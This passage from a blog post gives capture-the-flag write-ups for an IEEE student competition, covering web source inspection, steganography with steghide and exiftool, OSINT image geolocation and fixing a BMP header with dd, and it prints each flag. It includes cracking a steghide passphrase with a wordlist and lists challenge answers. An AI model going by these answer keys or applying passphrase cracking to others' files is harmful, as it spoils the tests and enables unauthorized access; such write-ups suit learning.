src="https://cdn-images-1.medium.com/max/1024/1*y62mZ-diXpxZZ_CJSrbU3w.png" /></figure><p>So it gives me a hint that the remaining parts will appear in the same way in different sections in the source code.</p><ul><li>I returned to searching in the code and I logged into the CSS file in line 8 in the previous screenshot and traaaaaaaa, we found part 2</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*rK02NhI5vtr07E3lRkaw6w.png" /></figure><p>at the same way, I entered the JS file and got part 3</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/507/1*FX6723rnluXQQOTaVZryzQ.png" /></figure><p>and the last part was in a file in the bottom of the interactive web page called robots.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/342/1*zIte1oi2Uq5V0wPsxCnvYA.png" /></figure><p>The complete flag is<strong><em> IEEE{WEB_1NTR0}</em></strong></p><h3>Forensics</h3><h4><a href="https://merciful-raptorex-1ce.notion.site/Stego-War-Challenge-1b95111facbf800fabb4db77418a4ffe?pvs=4">Stego War</a></h4><p><strong>The target of this challenge is to find the secret message inside the picture we have.</strong></p><ul><li>I started with writing <strong><em>strings </em></strong>command to extract the human-readable text from this binary file.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*adsdiY67Y9L_M1a3PDUdFg.png" /></figure><p>and the end of this text I noticed a something strange like a key to something 🤫</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*M7rdG6TUMMaCdjCZ6LaEMg.png" /></figure><p><strong>what can it unlock??</strong> 😯</p><ul><li>To know that I used a steganography tool <strong><em>stegohide </em></strong>to extract the hidden data</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*ksYwduXUs_iFJ6mhtNU9gg.png" /></figure><ul><li>I used <strong><em>Miles_Teller</em></strong> as a passphrase and I caught something encoded so I decoded it using base64 and finally</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*nVvUK7CxscQz5fiVc8FD_g.png" /></figure><ul><li>OUR FLAG IS <strong><em>IEEE{N07_qu1t3_my_73mp0}</em></strong></li></ul><h4><a href="https://merciful-raptorex-1ce.notion.site/Save-Our-Secret-1b95111facbf80439f35e753b8d77ce4?pvs=4"><em>Save Our Secret</em></a></h4><ul><li><strong>The target of this challenge to find a secret in the photo we have given so let’s gooooo</strong></li><li>I started by extracting the whole details about this photo using <strong><em>exiftool</em></strong> command</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*JbYXKwYU2JxhSLkpMXbtGQ.png" /></figure><ul><li>Doing this step has guided me to use a <strong><em>stegohide </em></strong>to extract any messages inside the photo but it required a passphrase to do this and now I want to crack the password, so I used a wordlist (ex: rocklist)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*8BqHvI3XaHfXcZ73LPNvTw.png" /></figure><ul><li>I have gotten the passphrase right now so let’s extract the file legally 🤪</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*pyX-Jj2-ONq6x6EtukCUHg.png" /></figure><p>Then I converted the data inside morse.wav into text using an online tool <a href="https://morsefm.com/"><strong>morse</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9zflHZO5twWgiAilsGCFQg.png" /></figure><ul><li>WE GOT OUR FLAG 👌<strong><em>IEEE{M0R53_C0D3_1S_4W33M3!}</em></strong></li></ul><h3>Osint</h3><h4><a href="https://merciful-raptorex-1ce.notion.site/El-Qahara-kabul-1b95111facbf80539a49f71c1df29615?pvs=4"><strong>EL-Qahra Kabul</strong></a></h4><ul><li>The first step to solving this osint challenge is to reverse the image we have given</li><li>To do this action there are many search engines like: google engine search and <a href="https://yandex.com/">Yandex</a>( I have used it to solve )</li><li>Open Yandex and upload the image you want to reverse</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y0lUHIgNaYC8iinDHT59xA.png" /></figure><ul><li>This search gives you all sites and blogs that uploaded this photo or have talked about it. I have noticed that many blogs repeat one name <strong><em>“Aymen AL Zahwiri”</em></strong><em> </em>so there is a big probability that he was the person we have searched about.</li><li>After some research I have ensured that he is the person and now we have part one in the flag.</li><li>Now we should search for his aliens in the FBI document, I have searched a lot to find the FBI document and finally I have found a post belongs to FBI</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*HZmTjjBlbKpGeU_Omy5B3g.png" /></figure><ul><li>There are many aliens lol which oneeeeeeeeeeeeeeeeeee ????</li><li>I tried them one by one and finally the aliens which have been accepted is <strong><em>“Abu Muhmmed” </em></strong><em>so our flag is</em><strong><em> IEEE{Aymen_AL_Zahwiri_Abu Muhmmed}</em></strong></li></ul><h4><a href="https://merciful-raptorex-1ce.notion.site/Travler2-1b95111facbf80bcb88be3ef4cd4e70c?pvs=4">Traveler2</a></h4><ul><li><strong>The target of this challenge is to determine the location of the photo and know the accurate longitude and latitude ( major used in Google Maps to specify the place ).</strong></li><li>First, I noticed that he was in a station but at first look, I thought he was in a train station but I was wrong, while focusing at the panel in the background, I noticed that it was a bus station</li><li>Now our role is to determine the location and to do this we should find any detail, sign, or information that indicates the place, If we focus clearly on the panel, we will see that the name of the space is <strong><em>“شركة اتوبيس غرب ووسط الدلتا” in Matroh.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/357/1*ZmcNUdy0vI4thjZmrLL7tg.jpeg" /></figure><ul><li>I googled this name to determine its GPS</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mDT-iTdGJG2sFID28BRoyw.png" /></figure><ul><li>Our flag wants nearby 2 digits after the fractional point</li><li>soooooooooooooooooooo our flag is <strong><em>IEEE{31.34,27.25}</em></strong></li></ul><h4><a href="https://merciful-raptorex-1ce.notion.site/OSOS-1b95111facbf802c87d6e4d051ae69c7?pvs=4">OSOS</a></h4><ul><li>This challenge is a strange challenge that requires some research and focus on details. let’s break it.</li><li>We have an undefined file called <strong>osos </strong>so I have sent it to my friend ( ChatGPT :) and I have been told that it’s a binary file so I Tried to find any detail in the file to search about it.</li><li>I started by <strong><em>strings </em></strong>command to extract any texts</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*3T_8pgqoZw43peded4Q-Yg.png" /></figure><ul><li>I didn’t know what it was so I asked chat again and it told me that it might be an <strong>image file</strong> with a <strong>BGRs</strong> color format, possibly <strong>BMP bitmap data</strong>.</li><li>So I convert the file to <strong><em>osos.bmp</em></strong> using the <strong><em>mv </em></strong>command</li></ul><pre>mv osos osos.bmp<br>xdg-open osos.bmp</pre><ul><li>I returend to the challange and I noticed there was a hint</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*BovLjLEc2S3JWigWSbUXNA.png" /></figure><ul><li>Then I searched how to change the header to make me open the the photo, so I used <strong>dd (Direct Header Replacement)</strong></li></ul><pre>printf &#39;\x42\x4D&#39; | dd of=osos.bmp bs=1 seek=0 count=2 conv=notrunc</pre><p>NOTES:</p><ul><li>\x42\x4D = BM (BMP header)</li><li>seek=0 → Modify at the start</li><li>count=2 → Modify only 2 bytes</li></ul><p>NOW our photo is ready to be viewed. I just double-clicked it and surprised by the result 😯😯😯😯</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DSKXAgAY_W73pkzMqINZ6g.jpeg" /></figure><ul><li>OUR FLAG IS HEREEEEEE <strong><em>IEEE{Ahmed_Emad_El_gmal}</em></strong></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d57265ce8ce9" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>